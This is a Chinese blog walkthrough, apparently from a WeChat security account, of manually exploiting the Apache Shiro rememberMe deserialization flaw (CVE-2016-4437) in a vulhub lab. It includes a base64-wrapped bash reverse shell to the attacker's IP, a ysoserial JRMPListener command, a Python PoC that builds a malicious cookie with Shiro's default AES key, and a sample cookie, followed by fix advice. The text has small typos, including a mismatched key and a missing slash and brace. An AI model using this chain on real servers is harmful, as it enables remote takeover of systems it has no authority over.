在对某一个IP进行渗透的时候,扫出了许多端口,于是就想着扔到goby里面扫扫,看能不能扫出组件信息或者漏洞,没想到还真扫描出来了。
漏洞是shiro的一个漏洞(CVE-2016-4437)
于是就有了接下来的这篇文章,说明这个漏洞怎么去手工利用。
我接下来用的漏洞环境是vulhub上的,因为怕对人家资产产生换的影响,所以只能用其它漏洞环境,但利用过程都是一样的。
1.Apache Shiro是什么
Apache Shiro 是Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE 环境,也可以用在JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与Web 集成、缓存等。
2.Apache Shiro漏洞原理
Apache Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问。Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码。由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行
3.影响版本
Apache Shiro <= 1.2.4
4.漏洞环境
漏洞靶机kali:192.168.10.132
攻击机器windows主机:192.168.10.1
5.复现步骤
进入漏洞环境目录,docker-compose up -d
可以看到已经启动成功,并且开放了8080端口
访问8080端口,输入账号密码进行burp抓包,发送到重放模块,放包,可以看到Set-Cookie字段有rememberMe字段,基本可以确定有shiro框架。
对shell反弹命令进行base64编码:
bash -i >& /dev/tcp192.168.10.1/1234 0>&1
编码后
YmFzaCAtaSA+JiAvZGV2L3RjcDE5Mi4xNjguMTAuMS8xMjM0IDA+JjE=
将编码之后的命令进行组合
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcDE5Mi4xNjguMTAuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i
启用ysoserial(针对Java反序列化的Java工具)的监听模块,并选择一个监听端口,ysoserial的下载可以看我上一篇文章,里面有下载地址。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcDE5Mi4xNjguMTAuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
成功执行,并开启了监听,使用python编写的poc生成恶意cookie
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
python3 poc.py 192.168.10.1 7777(此处的端口应该为ysoserial监听的端口)
在发送cookie前,先在攻击机器执行监听命令
打开浏览器,使用burp抓包,用生成的恶意cookie替换原来的cookie。
rememberMe=SxoxSbUqR1KT8SDo7v/CTX4hl33oJ6fu3SSQ01uRq0g2UdLU4gCE/m0zh/5SPRHenjmB9WB4MdbOftK6BXYoqovFNefbsNl1KOOxWghbZyvirNK0Fg7Q/fQuOXoLuLQE3S2rNC+MzLW82ZBr1oGMUUcywckL+yDizUylb8kfTHpBfclM6zlDiVIMZBzInzxy3Zy2KldNPZY22qJVz6cyCSqDeubtvePqhYPPK4eKAJMMysZ5wdNyrakxnNRKBhAoz9N9AcyKaudlZ8rhKzZFhqqdCoiaBxYHz/Rw/pb/uUvnbCRQAbcZK45UA/IvpUpRMNWPkLPtTTCMGkLYfwLIxDfTNPnIYB7WIRVwItCNeIVfYl9Rp8gFJ1sil+yWLIieoClmdCf+BhM9c8wEe1e9XQ==
然后放包。最终可以看到反弹shell过来。
6.修复建议
删除代码中的默认密钥,自己生成一个密钥。
升级shiro版本
原文始发于微信公众号(星冥安全):Shiro漏洞实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论